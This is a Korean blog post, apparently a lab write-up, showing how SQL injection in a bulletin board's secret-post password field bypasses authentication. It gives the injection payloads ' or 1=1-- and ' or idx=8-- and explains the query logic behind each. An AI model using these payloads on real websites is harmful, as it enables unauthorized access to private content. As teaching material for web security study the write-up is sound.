Oh! JUN

인증 우회 공격을 통한 비밀 게시글 무단 열람 실습 본문

웹 해킹/SQL Injection

인증 우회 공격을 통한 비밀 게시글 무단 열람 실습

Kwon Oh! JUN 2022. 8. 9. 21:44

비밀글을 인젝션을 통해 확인해 볼 것이다.


비밀글을 클릭하면 패스워드를 입력해야 되는데 여기에 인젝션을 적용해 볼 것이다.


쿼리를 예상해보면

select * from tb_board where idx=8 and password='[password]'

글 번호 idx와 password가 일치하면 비밀글을 열람할 수 있는 방식일 것이다.

 

 

먼저

select * from tb_board where idx=8 and password='' or 1=1-- '

 

idx=8 and password='' and 거짓 = 거짓
(idx=8 and password='') or 1=1 거짓 or =

 

idx와 pasword가 먼저 and 처리되면서 idx의 값은 무의미해지고 or 1=1로 위의 쿼리가 참을 뜻하게되면서 전체를 출력하게 된다.

 

mysql 게시판에서 password에 위의 패스워드 쿼리를 입력하면 위와 같이 test2 게시판으로 들어가게 되는데 

그 이유는 전 시간에 언급했던 것과 같다.(최상단의 행을 출력한다.)


 

그러면 어떻게 비밀글을 볼 수 있을까?

select * from tb_board where idx=8 and password='' or idx=8--[공백]'

 

idx=8 and password=''  and 거짓 = 거짓
(idx=8 and password='') or idx=8 거짓 or  = 

idx와 password는 무의미해지고 or 연산자로 idx=8 비밀글 번호를 지정해주면 된다.